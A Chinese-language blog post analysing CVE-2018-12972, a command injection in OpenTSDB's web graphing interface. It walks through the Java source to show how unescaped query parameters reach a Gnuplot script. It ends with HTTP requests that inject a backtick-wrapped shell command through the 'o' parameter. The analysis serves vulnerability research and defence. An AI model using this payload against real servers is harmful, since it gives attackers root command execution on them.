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OpenTSDB远程命令执行漏洞分析 -【CVE-2018-12972】

OpenTSDB远程命令执行漏洞分析 -【CVE-2018-12972】

相关背景

3.jpg

Opentsdb是基于Hbase的分布式的,可伸缩的时间序列数据库。官方提供了一个web界面来提供对查询数据进行可视化分析,其背后的绘图由Gnuplot支持。其Github地址为: https://github.com/OpenTSDB/opentsdb 。在某些版本(比如2.3.0,以下分析以2.3.0版本为例)中,其提供的Web接口存在远程命令执行漏洞,一旦利用成功将以root权限执行。分析见下。

漏洞分析

在opentsdb中,默认情况下tsd.core.enable_ui开启,允许通过http来进行rpc调用。当访问时/q?xx=xxx时,对应的rpc接口即GraphHandler。见 src/tsd/RpcManager.java:297:

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private void initializeBuiltinRpcs(final String mode,
final ImmutableMap.Builder<String, TelnetRpc> telnet,
final ImmutableMap.Builder<String, HttpRpc> http) {
...
if (enableUi) {
...
http.put("q", new GraphHandler());
...
}
...

在 src/tsd/GraphHandler.java:108 execute中

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public void execute(final TSDB tsdb, final HttpQuery query) {
...
try {
doGraph(tsdb, query);
} catch (IOException e) {
query.internalError(e);
} catch (IllegalArgumentException e) {
query.badRequest(e.getMessage());
}
}

跟入 doGraph
其中接受参数在
src/tsd/GraphHandler.java:198 doGraph 中:

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private void doGraph(final TSDB tsdb, final HttpQuery query)
throws IOException {
final String basepath = getGnuplotBasePath(tsdb, query);
// 获取 start 参数,保证格式正确,否则抛出错误
long start_time = DateTime.parseDateTimeString(
query.getRequiredQueryStringParam("start"),
query.getQueryStringParam("tz"));
...
// 获取 end 参数,保证格式正确,否则抛出错误
long end_time = DateTime.parseDateTimeString(
query.getQueryStringParam("end"),
query.getQueryStringParam("tz"));
...
// 获取 o 参数
List<String> options = query.getQueryStringParams("o");
...
final Plot plot = new Plot(start_time, end_time,
DateTime.timezones.get(query.getQueryStringParam("tz")));
// 设置 plot 维度,无影响,可忽略
setPlotDimensions(query, plot);
// 设置 plot 参数, 下文讲解
setPlotParams(query, plot);
...
final RunGnuplot rungnuplot = new RunGnuplot(query, max_age, plot, basepath,
aggregated_tags, npoints);
...
// Fetch global annotations, if needed
if (...) {
...
} else {
// 执行画图程序
execGnuplot(rungnuplot, query);
}
}

从请求中获取对应值并设置plot参数在setPlotParams(query, plot);中完成:

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static void setPlotParams(final HttpQuery query, final Plot plot) {
final HashMap<String, String> params = new HashMap<String, String>();
final Map<String, List<String>> querystring = query.getQueryString();
String value;
if ((value = popParam(querystring, "yrange")) != null) {
params.put("yrange", value);
}
if ((value = popParam(querystring, "y2range")) != null) {
params.put("y2range", value);
}
if ((value = popParam(querystring, "ylabel")) != null) {
params.put("ylabel", stringify(value));
}
if ((value = popParam(querystring, "y2label")) != null) {
params.put("y2label", stringify(value));
}
if ((value = popParam(querystring, "yformat")) != null) {
params.put("format y", stringify(value));
}
if ((value = popParam(querystring, "y2format")) != null) {
params.put("format y2", stringify(value));
}
if ((value = popParam(querystring, "xformat")) != null) {
params.put("format x", stringify(value));
}
if ((value = popParam(querystring, "ylog")) != null) {
params.put("logscale y", "");
}
if ((value = popParam(querystring, "y2log")) != null) {
params.put("logscale y2", "");
}
if ((value = popParam(querystring, "key")) != null) {
params.put("key", value);
}
if ((value = popParam(querystring, "title")) != null) {
params.put("title", stringify(value));
}
if ((value = popParam(querystring, "bgcolor")) != null) {
params.put("bgcolor", value);
}
if ((value = popParam(querystring, "fgcolor")) != null) {
params.put("fgcolor", value);
}
if ((value = popParam(querystring, "smooth")) != null) {
params.put("smooth", value);
}
if ((value = popParam(querystring, "style")) != null) {
params.put("style", value);
}
// This must remain after the previous `if' in order to properly override
// any previous `key' parameter if a `nokey' parameter is given.
if ((value = popParam(querystring, "nokey")) != null) {
params.put("key", null);
}
plot.setParams(params);
}

为方便起见,整理一下http请求参数、java代码、plot参数的对应关系。有一些参数经过了stringify,用于后续的JSON格式的转换。经过stringify的参数都会被双引号包含(见下面的代码),难以后续逃逸使用。还有一些参数直接被设定为空值。这些参数对应如下:

http请求参数 Java代码 plot参数
ylabel put(“ylabel”, stringify(value)) ylabel
y2label put(“y2label”, stringify(value)) y2label
yformat put(“format y”, stringify(value)) format y
y2format put(“format y2”, stringify(value)) format y2
xformat put(“format x”, stringify(value)) format x
ylog put(“logscale y”, “”) logscale y
y2log put(“logscale y2”, “”) logscale y2
title put(“title”, stringify(value)) title

stringify定义在 src/tsd/GraphHandler.java:658 :

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private static String stringify(final String s) {
final StringBuilder buf = new StringBuilder(1 + s.length() + 1);
buf.append('"');
HttpQuery.escapeJson(s, buf); // Abusing this function gets the job done.
buf.append('"');
return buf.toString();
}

escapeJson定义在 src/tsd/HttpQuery.java:471 中,主要对一些特殊字符进行转义:

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static void escapeJson(final String s, final StringBuilder buf) {
final int length = s.length();
int extra = 0;
// First count how many extra chars we'll need, if any.
for (int i = 0; i < length; i++) {
final char c = s.charAt(i);
switch (c) {
case '"':
case '\\':
case '\b':
case '\f':
case '\n':
case '\r':
case '\t':
extra++;
continue;
}
if (c < 0x001F) {
extra += 4;
}
}
if (extra == 0) {
buf.append(s); // Nothing to escape.
return;
}
buf.ensureCapacity(buf.length() + length + extra);
for (int i = 0; i < length; i++) {
final char c = s.charAt(i);
switch (c) {
case '"': buf.append('\\').append('"'); continue;
case '\\': buf.append('\\').append('\\'); continue;
case '\b': buf.append('\\').append('b'); continue;
case '\f': buf.append('\\').append('f'); continue;
case '\n': buf.append('\\').append('n'); continue;
case '\r': buf.append('\\').append('r'); continue;
case '\t': buf.append('\\').append('t'); continue;
}
if (c < 0x001F) {
buf.append('\\').append('u').append('0').append('0')
.append((char) Const.HEX[(c >>> 4) & 0x0F])
.append((char) Const.HEX[c & 0x0F]);
} else {
buf.append(c);
}
}
}

还有一些参数并没有经过转义等,如下表

http请求参数 Java代码 plot参数
yrange put(“yrange”, value) yrange
y2range put(“y2range”, value) y2range
key put(“key”, value) key
bgcolor put(“bgcolor”, value) bgcolor
fgcolor put(“fgcolor”, value) fgcolor
smooth put(“smooth”, value) smooth
style put(“style”, value) style

在完成参数设置后,创建了一个RunGnuplot对象,其中前面解析到的参数即对应的写入到了plot属性中

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private static final class RunGnuplot implements Runnable {
private final HttpQuery query;
private final int max_age;
private final Plot plot;
private final String basepath;
private final HashSet<String>[] aggregated_tags;
private final int npoints;
public RunGnuplot(final HttpQuery query,
final int max_age,
final Plot plot,
final String basepath,
final HashSet<String>[] aggregated_tags,
final int npoints) {
...
this.plot = plot;
if (IS_WINDOWS)
this.basepath = basepath.replace("\\", "\\\\").replace("/", "\\\\");
else
this.basepath = basepath;
...
}

doGraph的最后执行了execGnuplot(rungnuplot, query);,即src/tsd/GraphHandler.java:256

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private void execGnuplot(RunGnuplot rungnuplot, HttpQuery query) {
try {
gnuplot.execute(rungnuplot);
} catch (RejectedExecutionException e) {
query.internalError(new Exception("Too many requests pending,"
+ " please try again later", e));
}
}

这边RunGnuplot实现了Runnable接口,因此当线程开始执行时调用的是RunGnuplotrun方法:

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private static final class RunGnuplot implements Runnable {
...
public void run() {
try {
execute();
} catch (BadRequestException e) {
query.badRequest(e.getMessage());
} catch (GnuplotException e) {
query.badRequest("<pre>" + e.getMessage() + "</pre>");
} catch (RuntimeException e) {
query.internalError(e);
} catch (IOException e) {
query.internalError(e);
}
}

跟入execute():

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private void execute() throws IOException {
final int nplotted = runGnuplot(query, basepath, plot);
...
}

跟入runGnuplot,位置在src/tsd/GraphHandler.java:758

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static int runGnuplot(final HttpQuery query,
final String basepath,
final Plot plot) throws IOException {
final int nplotted = plot.dumpToFiles(basepath);
...
final Process gnuplot = new ProcessBuilder(GNUPLOT,
basepath + ".out", basepath + ".err", basepath + ".gnuplot").start();
...
return nplotted;
}

dumpToFiles方法定义在src/graph/Plot.java:196:

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public int dumpToFiles(final String basepath) throws IOException {
int npoints = 0;
final int nseries = datapoints.size();
final String datafiles[] = nseries > 0 ? new String[nseries] : null;
FileSystem.checkDirectory(new File(basepath).getParent(),
Const.MUST_BE_WRITEABLE, Const.CREATE_IF_NEEDED);
... // 省略一些初始化的文件写入操作
if (npoints == 0) {
// 之前提到的 yrange 是通过put("yrange", value)获得
// 但在这里由于某些条件(npoints == 0)会直接被硬编码为 [0:10]
params.put("yrange", "[0:10]"); // Doesn't matter what values we use.
}
writeGnuplotScript(basepath, datafiles);
return npoints;
}

跟入writeGnuplotScript(basepath, datafiles),这个方法会生成真正的Gnuplot脚本,方便起见我往里面加了注释

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/**
* Generates the Gnuplot script.
* @param basepath The base path to use.
* @param datafiles The names of the data files that need to be plotted,
* in the order in which they ought to be plotted. It is assumed that
* the ith file will correspond to the ith entry in {@code datapoints}.
* Can be {@code null} if there's no data to plot.
*/
private void writeGnuplotScript(final String basepath,
final String[] datafiles) throws IOException {
final String script_path = basepath + ".gnuplot";
// gp即要生成的Gnuplot脚本
final PrintWriter gp = new PrintWriter(script_path);
try {
// XXX don't hardcode all those settings. At least not like that.
gp.append("set term png small size ")
// Why the fuck didn't they also add methods for numbers?
.append(Short.toString(width)).append(",")
.append(Short.toString(height));
// 获取了 smooth,fgcolor,style,bgcolor这四个参数
final String smooth = params.remove("smooth");
final String fgcolor = params.remove("fgcolor");
final String style = params.remove("style");
String bgcolor = params.remove("bgcolor");
// 一些边界情况
if (fgcolor != null && bgcolor == null) {
bgcolor = "xFFFFFF"; // So use a default.
}
if (bgcolor != null) {
if (fgcolor != null && "transparent".equals(bgcolor)) {
bgcolor = "transparent xFFFFFF";
}
// 往Gnuplot脚本中写入参数bgcolor
gp.append(' ').append(bgcolor);
}
if (fgcolor != null) {
// 往Gnuplot脚本中写入参数fgcolor
gp.append(' ').append(fgcolor);
}
gp.append("\n"
+ "set xdata time\n"
+ "set timefmt \"%s\"\n"
+ "if (GPVAL_VERSION < 4.6) set xtics rotate; else set xtics rotate right\n"
+ "set output \"").append(basepath + ".png").append("\"\n"
+ "set xrange [\"")
.append(String.valueOf((start_time & UNSIGNED) + utc_offset))
.append("\":\"")
.append(String.valueOf((end_time & UNSIGNED) + utc_offset))
.append("\"]\n");
// 往Gnuplot脚本中写入参数format x 会被双引号包裹
if (!params.containsKey("format x")) {
gp.append("set format x \"").append(xFormat()).append("\"\n");
}
....
if (params != null) {
for (final Map.Entry<String, String> entry : params.entrySet()) {
// 对params中剩下的参数,key即名字,value即对应的值
final String key = entry.getKey();
final String value = entry.getValue();
if (value != null) {
// 往Gnuplot脚本中写入对应参数
gp.append("set ").append(key)
.append(' ').append(value).write('\n');
} else {
gp.append("unset ").append(key).write('\n');
}
}
}
...
gp.write("plot ");
for (int i = 0; i < nseries; i++) {
...
if (smooth != null) {
// 往Gnuplot脚本中写入对应 smooth 参数
gp.append(" smooth ").append(smooth);
}
// TODO(tsuna): Escape double quotes in title.
// 往Gnuplot脚本中写入对应 title 参数,但是被双引号包裹了
gp.append(" title \"").append(title).write('"');
...
}

在完成了plot.dumpToFiles(basepath);后,开启子进程运行生成的Gnuplot脚本:

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final Process gnuplot = new ProcessBuilder(GNUPLOT,
basepath + ".out", basepath + ".err", basepath + ".gnuplot").start();

而gnuplot中允许使用反引号来执行sh命令,

交互模式下:
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脚本执行模式下:
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因此我们可以通过远程控制特定的参数,使得Gnuplot在运行脚本时远程命令执行。支持远程命令执行的可控参数如下:

http请求参数 Java代码 plot参数
y2range put(“y2range”, value) y2range
key put(“key”, value) key
bgcolor put(“bgcolor”, value) bgcolor
fgcolor put(“fgcolor”, value) fgcolor
smooth put(“smooth”, value) smooth
style put(“style”, value) style
o 省略 省略

攻击流程

先查出可以使用的metrics

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GET /suggest?type=metrics&q= HTTP/1.1

发包,在参数位置处填入payload。

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GET /q?start=2018/07/05-00:00:00&end=2018/07/30-00:00:00&m=sum:rate:env.air&o=%6ls%60&yrange=%5B0:%5D&wxh=1900x738&style=linespoint&json HTTP/1.1

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Reference

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本文标题:OpenTSDB远程命令执行漏洞分析 -【CVE-2018-12972】

文章作者:chybeta

发布时间:2018年08月11日 - 11:08

最后更新:2018年08月11日 - 11:08

原始链接:http://chybeta.github.io/2018/08/11/OpenTSDB远程命令执行漏洞分析-【CVE-2018-12972】/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。